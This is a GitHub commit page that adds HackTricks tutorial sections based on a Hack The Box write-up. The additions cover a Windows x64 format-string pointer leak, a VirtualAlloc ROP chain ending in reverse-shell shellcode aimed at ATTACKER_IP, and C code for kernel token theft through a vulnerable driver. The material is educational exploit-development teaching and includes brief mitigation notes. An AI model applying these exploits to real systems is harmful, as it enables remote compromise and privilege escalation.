Skip to content

Commit 89269d0

Browse files
authored
Merge pull request #1354 from HackTricks-wiki/update_HTB_Reaper__Format-string_leak___stack_BOF___Virtu_20250827_170453
HTB Reaper Format-string leak + stack BOF → VirtualAlloc ROP...
2 parents dde1258 + 2e78574 commit 89269d0

5 files changed

Lines changed: 254 additions & 3 deletions

File tree

src/SUMMARY.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -234,6 +234,7 @@
234234
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
235235
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
236236
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
237+
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
237238
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
238239
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
239240
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)

src/binary-exploitation/format-strings/README.md

Lines changed: 45 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -153,7 +153,7 @@ Arbitrary reads can be useful to:
153153

154154
## **Arbitrary Write**
155155

156-
The formatter **`%<num>$n`** **writes** the **number of written bytes** in the **indicated address** in the \<num> param in the stack. If an attacker can write as many char as he will with printf, he is going to be able to make **`%<num>$n`** write an arbitrary number in an arbitrary address.
156+
The formatter **`%<num>$n`** **writes** the **number of written bytes** in the **indicated address** in the <num> param in the stack. If an attacker can write as many char as he will with printf, he is going to be able to make **`%<num>$n`** write an arbitrary number in an arbitrary address.
157157

158158
Fortunately, to write the number 9999, it's not needed to add 9999 "A"s to the input, in order to so so it's possible to use the formatter **`%.<num-write>%<num>$n`** to write the number **`<num-write>`** in the **address pointed by the `num` position**.
159159

@@ -227,6 +227,46 @@ p.interactive()
227227

228228
It's possible to abuse the write actions of a format string vulnerability to **write in addresses of the stack** and exploit a **buffer overflow** type of vulnerability.
229229

230+
231+
## Windows x64: Format-string leak to bypass ASLR (no varargs)
232+
233+
On Windows x64 the first four integer/pointer parameters are passed in registers: RCX, RDX, R8, R9. In many buggy call-sites the attacker-controlled string is used as the format argument but no variadic arguments are provided, for example:
234+
235+
```c
236+
// keyData is fully controlled by the client
237+
// _snprintf(dst, len, fmt, ...)
238+
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
239+
```
240+
241+
Because no varargs are passed, any conversion like "%p", "%x", "%s" will cause the CRT to read the next variadic argument from the appropriate register. With the Microsoft x64 calling convention the first such read for "%p" comes from R9. Whatever transient value is in R9 at the call-site will be printed. In practice this often leaks a stable in-module pointer (e.g., a pointer to a local/global object previously placed in R9 by surrounding code or a callee-saved value), which can be used to recover the module base and defeat ASLR.
242+
243+
Practical workflow:
244+
245+
- Inject a harmless format such as "%p " at the very start of the attacker-controlled string so the first conversion executes before any filtering.
246+
- Capture the leaked pointer, identify the static offset of that object inside the module (by reversing once with symbols or a local copy), and recover the image base as `leak - known_offset`.
247+
- Reuse that base to compute absolute addresses for ROP gadgets and IAT entries remotely.
248+
249+
Example (abbreviated python):
250+
251+
```python
252+
from pwn import remote
253+
254+
# Send an input that the vulnerable code will pass as the "format"
255+
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9
256+
io = remote(HOST, 4141)
257+
# ... drive protocol to reach the vulnerable snprintf ...
258+
leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
259+
base = leaked - 0x20660 # module base = leak - offset
260+
print(hex(leaked), hex(base))
261+
```
262+
263+
Notes:
264+
- The exact offset to subtract is found once during local reversing and then reused (same binary/version).
265+
- If "%p" doesn’t print a valid pointer on the first try, try other specifiers ("%llx", "%s") or multiple conversions ("%p %p %p") to sample other argument registers/stack.
266+
- This pattern is specific to the Windows x64 calling convention and printf-family implementations that fetch nonexistent varargs from registers when the format string requests them.
267+
268+
This technique is extremely useful to bootstrap ROP on Windows services compiled with ASLR and no obvious memory disclosure primitives.
269+
230270
## Other Examples & References
231271

232272
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
@@ -240,6 +280,9 @@ It's possible to abuse the write actions of a format string vulnerability to **w
240280
- 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands.
241281

242282

243-
{{#include ../../banners/hacktricks-training.md}}
283+
## References
244284

285+
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
286+
- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)
245287

288+
{{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/stack-overflow/stack-shellcode/README.md

Lines changed: 75 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -76,7 +76,75 @@ This script constructs a payload consisting of a **NOP slide**, the **shellcode*
7676

7777
The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide.
7878

79-
## Protections
79+
## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
80+
81+
On modern Windows the stack is non-executable (DEP/NX). A common way to still execute stack-resident shellcode after a stack BOF is to build a 64-bit ROP chain that calls VirtualAlloc (or VirtualProtect) from the module Import Address Table (IAT) to make a region of the stack executable and then return into shellcode appended after the chain.
82+
83+
Key points (Win64 calling convention):
84+
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
85+
- RCX = lpAddress → choose an address in the current stack (e.g., RSP) so the newly allocated RWX region overlaps your payload
86+
- RDX = dwSize → large enough for your chain + shellcode (e.g., 0x1000)
87+
- R8 = flAllocationType = MEM_COMMIT (0x1000)
88+
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
89+
- Return directly into the shellcode placed right after the chain.
90+
91+
Minimal strategy:
92+
1) Leak a module base (e.g., via a format-string, object pointer, etc.) to compute absolute gadget and IAT addresses under ASLR.
93+
2) Find gadgets to load RCX/RDX/R8/R9 (pop or mov/xor-based sequences) and a call/jmp [VirtualAlloc@IAT]. If you lack direct pop r8/r9, use arithmetic gadgets to synthesize constants (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000).
94+
3) Place stage-2 shellcode immediately after the chain.
95+
96+
Example layout (conceptual):
97+
```
98+
# ... padding up to saved RIP ...
99+
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
100+
POP_R9_RET; 0x40
101+
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
102+
POP_R8_RET; 0x1000
103+
# RCX = &stack (lpAddress)
104+
LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg
105+
# RDX = size (dwSize)
106+
POP_RDX_RET; 0x1000
107+
# Call VirtualAlloc via the IAT
108+
[IAT_VirtualAlloc]
109+
# New RWX memory at RCX — execution continues at the next stack qword
110+
JMP_SHELLCODE_OR_RET
111+
# ---- stage-2 shellcode (x64) ----
112+
```
113+
114+
With a constrained gadget set, you can craft register values indirectly, for example:
115+
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → set r9 from rbx, zero r8, and compensate stack with a junk qword.
116+
- xor rbx, rsp; ret → seed rbx with the current stack pointer.
117+
- push rbx; pop rax; mov rcx, rax; ret → move RSP-derived value into RCX.
118+
119+
Pwntools sketch (given a known base and gadgets):
120+
```python
121+
from pwn import *
122+
base = 0x7ff6693b0000
123+
IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing
124+
rop = b''
125+
# r9 = 0x40
126+
rop += p64(base+POP_RBX_RET) + p64(0x40)
127+
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
128+
# rcx = rsp
129+
rop += p64(base+POP_RBX_RET) + p64(0)
130+
rop += p64(base+XOR_RBX_RSP_RET)
131+
rop += p64(base+PUSH_RBX_POP_RAX_RET)
132+
rop += p64(base+MOV_RCX_RAX_RET)
133+
# r8 = 0x1000 via arithmetic if no pop r8
134+
for _ in range(0x1000//0x40):
135+
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
136+
# rdx = 0x1000 (use any available gadget)
137+
rop += p64(base+POP_RDX_RET) + p64(0x1000)
138+
# call VirtualAlloc and land in shellcode
139+
rop += p64(IAT_VirtualAlloc)
140+
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
141+
```
142+
143+
Tips:
144+
- VirtualProtect works similarly if making an existing buffer RX is preferable; the parameter order is different.
145+
- If the stack space is tight, allocate RWX elsewhere (RCX=NULL) and jmp to that new region instead of reusing the stack.
146+
- Always account for gadgets that adjust RSP (e.g., add rsp, 8; ret) by inserting junk qwords.
147+
80148

81149
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded.
82150
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) should be also disabled or the compromised EIP return address won't never be followed.
@@ -94,6 +162,12 @@ The **NOP slide** (`asm('nop')`) is used to increase the chance that execution w
94162
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
95163
- arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack
96164

165+
166+
## References
167+
168+
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
169+
- [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)
170+
97171
{{#include ../../../banners/hacktricks-training.md}}
98172

99173

src/windows-hardening/windows-local-privilege-escalation/README.md

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -733,6 +733,13 @@ driverquery.exe /fo table
733733
driverquery /SI
734734
```
735735
736+
If a driver exposes an arbitrary kernel read/write primitive (common in poorly designed IOCTL handlers), you can escalate by stealing a SYSTEM token directly from kernel memory. See the step‑by‑step technique here:
737+
738+
{{#ref}}
739+
arbitrary-kernel-rw-token-theft.md
740+
{{#endref}}
741+
742+
736743
## PATH DLL Hijacking
737744
738745
If you have **write permissions inside a folder present on PATH** you could be able to hijack a DLL loaded by a process and **escalate privileges**.
@@ -1830,4 +1837,6 @@ C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the
18301837
- [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)
18311838
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections)
18321839
1840+
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
1841+
18331842
{{#include ../../banners/hacktricks-training.md}}
Lines changed: 124 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,124 @@
1+
# Windows kernel EoP: Token stealing with arbitrary kernel R/W
2+
3+
{{#include ../../banners/hacktricks-training.md}}
4+
5+
## Overview
6+
7+
If a vulnerable driver exposes an IOCTL that gives an attacker arbitrary kernel read and/or write primitives, elevating to NT AUTHORITY\SYSTEM can often be achieved by stealing a SYSTEM access token. The technique copies the Token pointer from a SYSTEM process’ EPROCESS into the current process’ EPROCESS.
8+
9+
Why it works:
10+
- Each process has an EPROCESS structure that contains (among other fields) a Token (actually an EX_FAST_REF to a token object).
11+
- The SYSTEM process (PID 4) holds a token with all privileges enabled.
12+
- Replacing the current process’ EPROCESS.Token with the SYSTEM token pointer makes the current process run as SYSTEM immediately.
13+
14+
> Offsets in EPROCESS vary across Windows versions. Determine them dynamically (symbols) or use version-specific constants. Also remember that EPROCESS.Token is an EX_FAST_REF (low 3 bits are reference count flags).
15+
16+
## High-level steps
17+
18+
1) Locate ntoskrnl.exe base and resolve the address of PsInitialSystemProcess.
19+
- From user mode, use NtQuerySystemInformation(SystemModuleInformation) or EnumDeviceDrivers to get loaded driver bases.
20+
- Add the offset of PsInitialSystemProcess (from symbols/reversing) to the kernel base to get its address.
21+
2) Read the pointer at PsInitialSystemProcess → this is a kernel pointer to SYSTEM’s EPROCESS.
22+
3) From SYSTEM EPROCESS, read UniqueProcessId and ActiveProcessLinks offsets to traverse the doubly linked list of EPROCESS structures (ActiveProcessLinks.Flink/Blink) until you find the EPROCESS whose UniqueProcessId equals GetCurrentProcessId(). Keep both:
23+
- EPROCESS_SYSTEM (for SYSTEM)
24+
- EPROCESS_SELF (for the current process)
25+
4) Read SYSTEM token value: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
26+
- Mask out the low 3 bits: Token_SYS_masked = Token_SYS & ~0xF (commonly ~0xF or ~0x7 depending on build; on x64 the low 3 bits are used — 0xFFFFFFFFFFFFFFF8 mask).
27+
5) Option A (common): Preserve the low 3 bits from your current token and splice them onto SYSTEM’s pointer to keep the embedded ref count consistent.
28+
- Token_ME = *(EPROCESS_SELF + TokenOffset)
29+
- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
30+
6) Write Token_NEW back into (EPROCESS_SELF + TokenOffset) using your kernel write primitive.
31+
7) Your current process is now SYSTEM. Optionally spawn a new cmd.exe or powershell.exe to confirm.
32+
33+
## Pseudocode
34+
35+
Below is a skeleton that only uses two IOCTLs from a vulnerable driver, one for 8-byte kernel read and one for 8-byte kernel write. Replace with your driver’s interface.
36+
37+
```c
38+
#include <Windows.h>
39+
#include <Psapi.h>
40+
#include <stdint.h>
41+
42+
// Device + IOCTLs are driver-specific
43+
#define DEV_PATH "\\\\.\\VulnDrv"
44+
#define IOCTL_KREAD CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
45+
#define IOCTL_KWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
46+
47+
// Version-specific (examples only – resolve per build!)
48+
static const uint32_t Off_EPROCESS_UniquePid = 0x448; // varies
49+
static const uint32_t Off_EPROCESS_Token = 0x4b8; // varies
50+
static const uint32_t Off_EPROCESS_ActiveLinks = 0x448 + 0x8; // often UniquePid+8, varies
51+
52+
BOOL kread_qword(HANDLE h, uint64_t kaddr, uint64_t *out) {
53+
struct { uint64_t addr; } in; struct { uint64_t val; } outb; DWORD ret;
54+
in.addr = kaddr; return DeviceIoControl(h, IOCTL_KREAD, &in, sizeof(in), &outb, sizeof(outb), &ret, NULL) && (*out = outb.val, TRUE);
55+
}
56+
BOOL kwrite_qword(HANDLE h, uint64_t kaddr, uint64_t val) {
57+
struct { uint64_t addr, val; } in; DWORD ret;
58+
in.addr = kaddr; in.val = val; return DeviceIoControl(h, IOCTL_KWRITE, &in, sizeof(in), NULL, 0, &ret, NULL);
59+
}
60+
61+
// Get ntoskrnl base (one option)
62+
uint64_t get_nt_base(void) {
63+
LPVOID drivers[1024]; DWORD cbNeeded;
64+
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) {
65+
return (uint64_t)drivers[0]; // first is typically ntoskrnl
66+
}
67+
return 0;
68+
}
69+
70+
int main(void) {
71+
HANDLE h = CreateFileA(DEV_PATH, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
72+
if (h == INVALID_HANDLE_VALUE) return 1;
73+
74+
// 1) Resolve PsInitialSystemProcess
75+
uint64_t nt = get_nt_base();
76+
uint64_t PsInitialSystemProcess = nt + /*offset of symbol*/ 0xDEADBEEF; // resolve per build
77+
78+
// 2) Read SYSTEM EPROCESS
79+
uint64_t EPROC_SYS; kread_qword(h, PsInitialSystemProcess, &EPROC_SYS);
80+
81+
// 3) Walk ActiveProcessLinks to find current EPROCESS
82+
DWORD myPid = GetCurrentProcessId();
83+
uint64_t cur = EPROC_SYS; // list is circular
84+
uint64_t EPROC_ME = 0;
85+
do {
86+
uint64_t pid; kread_qword(h, cur + Off_EPROCESS_UniquePid, &pid);
87+
if ((DWORD)pid == myPid) { EPROC_ME = cur; break; }
88+
uint64_t flink; kread_qword(h, cur + Off_EPROCESS_ActiveLinks, &flink);
89+
cur = flink - Off_EPROCESS_ActiveLinks; // CONTAINING_RECORD
90+
} while (cur != EPROC_SYS);
91+
92+
// 4) Read tokens
93+
uint64_t tok_sys, tok_me;
94+
kread_qword(h, EPROC_SYS + Off_EPROCESS_Token, &tok_sys);
95+
kread_qword(h, EPROC_ME + Off_EPROCESS_Token, &tok_me);
96+
97+
// 5) Mask EX_FAST_REF low bits and splice refcount bits
98+
uint64_t tok_sys_mask = tok_sys & ~0xF; // or ~0x7 on some builds
99+
uint64_t tok_new = tok_sys_mask | (tok_me & 0x7);
100+
101+
// 6) Write back
102+
kwrite_qword(h, EPROC_ME + Off_EPROCESS_Token, tok_new);
103+
104+
// 7) We are SYSTEM now
105+
system("cmd.exe");
106+
return 0;
107+
}
108+
```
109+
110+
Notes:
111+
- Offsets: Use WinDbg’s `dt nt!_EPROCESS` with the target’s PDBs, or a runtime symbol loader, to get correct offsets. Do not hardcode blindly.
112+
- Mask: On x64 the token is an EX_FAST_REF; low 3 bits are reference count bits. Keeping the original low bits from your token avoids immediate refcount inconsistencies.
113+
- Stability: Prefer elevating the current process; if you elevate a short-lived helper you may lose SYSTEM when it exits.
114+
115+
## Detection & mitigation
116+
- Loading unsigned or untrusted third‑party drivers that expose powerful IOCTLs is the root cause.
117+
- Kernel Driver Blocklist (HVCI/CI), DeviceGuard, and Attack Surface Reduction rules can prevent vulnerable drivers from loading.
118+
- EDR can watch for suspicious IOCTL sequences that implement arbitrary read/write and for token swaps.
119+
120+
## References
121+
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
122+
- [FuzzySecurity – Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html)
123+
124+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)